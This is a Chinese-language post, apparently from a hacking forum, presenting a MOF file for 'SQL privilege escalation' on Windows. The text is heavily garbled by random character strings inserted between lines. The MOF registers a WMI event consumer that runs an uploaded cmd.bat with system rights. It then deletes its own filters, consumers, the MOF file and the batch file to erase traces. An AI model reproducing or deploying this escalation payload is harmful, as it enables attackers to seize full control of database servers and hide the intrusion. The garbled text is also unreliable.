这个sql提权MOF需要运行 system下的文件,不能定义路径。
, b% Q2 J- c7 F1 ^# x需要将要运行的命令写入到bat上传到system32目录,然后执行。% _/ l5 i3 i5 j8 [8 |2 E- f
0 C) I# D- x! ]' Y3 c/ u8 e6 a6 |
这个sql提权MOF需要运行 system下的文件,不能定义路径。
3 \, y% y' ^# s0 P/ q" l$ S& {需要将要运行的命令写入到bat上传到system32目录,然后执行。
1 `. {, S' P, g
: m& O7 u2 Y' N# `) x2 h#pragma
, l5 y$ Z7 E# i- }" f namespace("\\\\.\\root\\cimv2") z! `; A' P2 z! T T- V* `; }
class
5 x3 U! H/ l# ~9 `! L MyClass547! `0 d* K1 u+ j, n
{ [key]
5 G3 S* e$ L" @$ s string
( o+ g) c8 j ^9 P! m& E2 | Name;' ^( C- M; f+ O; [5 b8 n$ E* G. p
};
( W; B2 c- `5 t. W$ y class
5 o1 ]# g: H$ l# d: u ActiveScriptEventConsumer$ J1 C0 l' n0 ~- G
: __EventConsumer { [key]0 P3 L0 r% X2 b' `8 v* \* @' {% X( N8 h
string+ x; g( k3 n6 o# N& ^$ z
Name; [not_null]$ |- `! l! u1 I
string
9 z# p# x5 c( j7 Q- L ScriptingEngine; string
. C8 C/ T9 N& k1 ~) T1 {. a4 N ScriptFileName; [template]5 v0 q/ A3 o- u/ N \+ @
string/ J9 c) k( P. ~) ^
ScriptText; uint32 KillTimeout; f3 C7 {3 i, ~6 V" s& P: ^
}; instance of __Win32Provider as $P {
2 m9 ^' v* `3 N& t. `% f Name
" B8 v4 u6 f1 [, e* { =
( c) Y! [! c- G0 ~ "ActiveScriptEventConsumer"; CLSID =2 a0 N+ l# V: l- U$ _; s1 R4 I5 k
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";" Y* B; K, o, C
PerUserInitialization
8 \' Y) U* X& X = TRUE;
6 G, M$ B7 D f2 ~ d& p; s% y }; instance of __EventConsumerProviderRegistration { Provider: ~. X4 p! H: S) s/ ^) T
= $P; ConsumerClassNames: X5 i" J% {$ @, s; m6 s
=9 H( @) y- Z* } n. u. `
{"ActiveScriptEventConsumer"};8 Y' p" u# k4 j# O& G5 M4 t
};4 z7 v& \; h x- h
Instance of ActiveScriptEventConsumer( O J1 t5 X' ?5 U. U
as $cons { Name
! r" Z3 b, I, L, C3 @8 @ =
+ T% ^; N, ~$ ~* l5 q "ASEC"; ScriptingEngine
+ C" ~+ _! ~4 @5 k- |$ w& O/ q( ~# L4 ` =+ f1 @- d5 X) ^* ^7 U7 m
"JScript"; ScriptText
. ^0 Q5 Q" F: C) \4 L) U =1 B, A0 j9 ?- @( L! g
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };9 A1 c3 Q+ d' B# a" ]
Instance of ActiveScriptEventConsumer
; o0 X$ c. `% T( H( F6 N4 b as $cons2 { Name* q. k) r+ P% H: ^5 Y) X! s
=
! Z: q5 G# B8 a5 n& J "qndASEC"; ScriptingEngine
, l8 ?& M- s3 ~0 U% H =7 r6 j8 B6 R; H
"JScript"; ScriptText0 j$ Z: ]3 I1 e/ j C
=" ~8 s- j- o! l1 ~& E+ V
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";" B; H- u" m: P0 g+ W% e# w
}; instance of __EventFilter as $Filt { Name
: {3 U3 _) o4 K- P/ S3 {# O" \. ^ =+ Z& {5 @2 _* _, E$ H
"instfilt"; Query
/ T. r: r4 e# z8 a7 R, I3 H =
7 W+ K2 b& R1 F" A3 S- n$ ^ "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
: A4 Y2 U$ h7 {/ o5 b =
" t* X( Z* R7 d0 u9 Y& E "WQL"; }; instance of __EventFilter as $Filt2 { Name
' d$ b# v) W6 G y =* B" Q; W' r+ {3 I9 ?( ?- o
"qndfilt"; Query
% E" o8 B4 C& ~ =
* R4 ^% l Q0 D, r' u @9 n "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage* S$ }! h) v+ [3 n) n' | @1 g
=7 B1 E! u* z; U, P
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer" B' ~2 S5 G- ]8 x, C
= $cons; Filter+ o- g- {% n" N& [ k
= $Filt;
7 [6 I' {& Z2 u& e% h' M7 l. c }; instance of __FilterToConsumerBinding as $bind2 { Consumer! o+ X/ V1 W/ G" O, `
= $cons2; Filter6 c# p( Y+ N2 U) q! P6 S( A& V
= $Filt2;
& U' I- m+ E% \) R, O8 N# A. A }; instance of MyClass547
! W7 l0 @6 B% F$ H as $MyClass { Name4 O/ K% z: ^! W
=& B# M% M5 b) y$ r3 h
"ClassConsumer";2 n- `& I, r8 ^+ X4 |: d
}; |